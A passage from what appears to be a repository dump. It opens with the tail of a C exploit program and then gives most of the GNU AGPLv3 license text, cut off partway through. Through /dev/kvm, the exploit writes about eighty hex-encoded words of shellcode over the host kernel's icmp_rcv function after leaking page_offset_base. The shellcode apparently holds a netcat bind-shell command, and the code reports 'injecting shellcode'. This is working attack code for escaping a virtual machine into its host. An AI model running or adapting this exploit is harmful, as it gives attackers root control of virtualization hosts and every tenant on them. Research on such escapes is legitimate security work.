write_addr(fd,get_icmp_rcv()+0x8,0x7bf000008,false); 311 | write_addr(fd,get_icmp_rcv()+0x10,0x80c4834853555441,false); 312 | write_addr(fd,get_icmp_rcv()+0x18,0x454d4f48072444c7,false); 313 | write_addr(fd,get_icmp_rcv()+0x20,0x2f3d450a2444c7,false); 314 | write_addr(fd,get_icmp_rcv()+0x28,0x820beff67d153e8,false); 315 | write_addr(fd,get_icmp_rcv()+0x30,0x4800000023bf0000,false); 316 | write_addr(fd,get_icmp_rcv()+0x38,0x45890724448bc589,false); 317 | write_addr(fd,get_icmp_rcv()+0x40,0x345890a24448b00,false); 318 | write_addr(fd,get_icmp_rcv()+0x48,0x2f3d48544150b848,false); 319 | write_addr(fd,get_icmp_rcv()+0x50,0x4818244489486273,false); 320 | write_addr(fd,get_icmp_rcv()+0x58,0x7273752f3a6e69b8,false); 321 | write_addr(fd,get_icmp_rcv()+0x60,0xb84820244489482f,false); 322 | write_addr(fd,get_icmp_rcv()+0x68,0x69622f3a6e696273,false); 323 | write_addr(fd,get_icmp_rcv()+0x70,0x6eb8482824448948,false); 324 | write_addr(fd,get_icmp_rcv()+0x78,0x48622f7273752f3a,false); 325 | write_addr(fd,get_icmp_rcv()+0x80,0x372444c730244489,false); 326 | write_addr(fd,get_icmp_rcv()+0x88,0x67d0efe8006e6962,false); 327 | write_addr(fd,get_icmp_rcv()+0x90,0x18bf00000820beff,false); 328 | write_addr(fd,get_icmp_rcv()+0x98,0x8b48c38948000000,false); 329 | write_addr(fd,get_icmp_rcv()+0xa0,0x8b48038948182444,false); 330 | write_addr(fd,get_icmp_rcv()+0xa8,0x4808438948202444,false); 331 | write_addr(fd,get_icmp_rcv()+0xb0,0x104389482824448b,false); 332 | write_addr(fd,get_icmp_rcv()+0xb8,0x4389483024448b48,false); 333 | write_addr(fd,get_icmp_rcv()+0xc0,0x1f43893724448b18,false); 334 | write_addr(fd,get_icmp_rcv()+0xc8,0x820beff67d0b3e8,false); 335 | write_addr(fd,get_icmp_rcv()+0xd0,0x480000000abf0000,false); 336 | write_addr(fd,get_icmp_rcv()+0xd8,0x588948c489492889,false); 337 | write_addr(fd,get_icmp_rcv()+0xe0,0x1040c74808,false); 338 | write_addr(fd,get_icmp_rcv()+0xe8,0x2f6e69622fb84800,false); 339 | write_addr(fd,get_icmp_rcv()+0xf0,0xe24448948736162,false); 340 | write_addr(fd,get_icmp_rcv()+0xf8,0x44896600000068b8,false); 341 | write_addr(fd,get_icmp_rcv()+0x100,0xbaff67d079e81624,false); 342 | write_addr(fd,get_icmp_rcv()+0x108,0x820be0000632d,false); 343 | write_addr(fd,get_icmp_rcv()+0x110,0x894800000003bf00,false); 344 | write_addr(fd,get_icmp_rcv()+0x118,0x89660e24448b48c5,false); 345 | write_addr(fd,get_icmp_rcv()+0x120,0x62444c6042454,false); 346 | write_addr(fd,get_icmp_rcv()+0x128,0x2444b70f00458948,false); 347 | write_addr(fd,get_icmp_rcv()+0x130,0xd046e80845896616,false); 348 | write_addr(fd,get_icmp_rcv()+0x138,0xbf00000820beff67,false); 349 | write_addr(fd,get_icmp_rcv()+0x140,0xfc5894900000045,false); 350 | write_addr(fd,get_icmp_rcv()+0x148,0x45894166042444b7,false); 351 | write_addr(fd,get_icmp_rcv()+0x150,0x8841062444b60f00,false); 352 | write_addr(fd,get_icmp_rcv()+0x158,0x2f206d72b8480245,false); 353 | write_addr(fd,get_icmp_rcv()+0x160,0x244489482f706d74,false); 354 | write_addr(fd,get_icmp_rcv()+0x168,0x6d203b2074b8483b,false); 355 | write_addr(fd,get_icmp_rcv()+0x170,0x43244489486f6e6b,false); 356 | write_addr(fd,get_icmp_rcv()+0x178,0x706d742f2064b848,false); 357 | write_addr(fd,get_icmp_rcv()+0x180,0x484b24448948742f,false); 358 | write_addr(fd,get_icmp_rcv()+0x188,0x622f203b207020b8,false); 359 | write_addr(fd,get_icmp_rcv()+0x190,0xb848532444894869,false); 360 | write_addr(fd,get_icmp_rcv()+0x198,0x2f3c302068732f6e,false); 361 | write_addr(fd,get_icmp_rcv()+0x1a0,0x74b8485b24448948,false); 362 | write_addr(fd,get_icmp_rcv()+0x1a8,0x48207c20742f706d,false); 363 | write_addr(fd,get_icmp_rcv()+0x1b0,0x636eb84863244489,false); 364 | write_addr(fd,get_icmp_rcv()+0x1b8,0x894838206e6c2d20,false); 365 | write_addr(fd,get_icmp_rcv()+0x1c0,0x313030b8486b2444,false); 366 | write_addr(fd,get_icmp_rcv()+0x1c8,0x448948742f3e3120,false); 367 | write_addr(fd,get_icmp_rcv()+0x1d0,0x6d742f3eb8487324,false); 368 | write_addr(fd,get_icmp_rcv()+0x1d8,0x2444894800742f70,false); 369 | write_addr(fd,get_icmp_rcv()+0x1e0,0x20beff67cf9ae878,false); 370 | write_addr(fd,get_icmp_rcv()+0x1e8,0x20bf000008,false); 371 | write_addr(fd,get_icmp_rcv()+0x1f0,0x3b24448b48c38948,false); 372 | write_addr(fd,get_icmp_rcv()+0x1f8,0x4324448b48038948,false); 373 | write_addr(fd,get_icmp_rcv()+0x200,0x24448b4808438948,false); 374 | write_addr(fd,get_icmp_rcv()+0x208,0x448b48104389484b,false); 375 | write_addr(fd,get_icmp_rcv()+0x210,0x8b48184389485324,false); 376 | write_addr(fd,get_icmp_rcv()+0x218,0x48204389485b2444,false); 377 | write_addr(fd,get_icmp_rcv()+0x220,0x284389486324448b,false); 378 | write_addr(fd,get_icmp_rcv()+0x228,0x4389486b24448b48,false); 379 | write_addr(fd,get_icmp_rcv()+0x230,0x89487324448b4830,false); 380 | write_addr(fd,get_icmp_rcv()+0x238,0x487824448b483843,false); 381 | write_addr(fd,get_icmp_rcv()+0x240,0xff67cf38e83d4389,false); 382 | write_addr(fd,get_icmp_rcv()+0x248,0xc931ef8948e2894c,false); 383 | write_addr(fd,get_icmp_rcv()+0x250,0x894cc68948288948,false); 384 | write_addr(fd,get_icmp_rcv()+0x258,0xc748105889480868,false); 385 | write_addr(fd,get_icmp_rcv()+0x260,0x35e8000000001840,false); 386 | write_addr(fd,get_icmp_rcv()+0x268,0x1b8ff4d17,false); 387 | write_addr(fd,get_icmp_rcv()+0x270,0x5c415d5b80ec8348,false); 388 | write_addr(fd,get_icmp_rcv()+0x278,0x441f0fc35d41,false); 389 | unlock_write(fd); 390 | 391 | gettimeofday(&end, NULL); 392 | seconds = end.tv_sec - start.tv_sec; 393 | useconds = end.tv_usec - start.tv_usec; 394 | mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5; 395 | printf("[+]Elapsed time for injecting shellcode: %ld milliseconds\n", mtime); 396 | printf("[+]total number of page faults during exploit %ld\n",get_pfn_cnt(fd)); 397 | printf("[+]total number of VC's during exploit %ld\n",get_vc_cnt(fd)); 398 | } 399 | 400 | 401 | int main(int argc, char const *argv[]) 402 | { 403 | int fd; 404 | 405 | 406 | printf("[+]opening /dev/kvm\n"); 407 | fd = open("/dev/kvm", O_RDWR); 408 | if(fd < 0) { 409 | printf("[-]Cannot open device file ... check permissions\n"); 410 | return 0; 411 | } 412 | init_global_state(fd); 413 | leak_page_offset_base(fd); 414 | 415 | //do_firewall_attack(fd); 416 | do_shellcode_attack(fd); 417 | 418 | return 0; 419 | } 420 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT 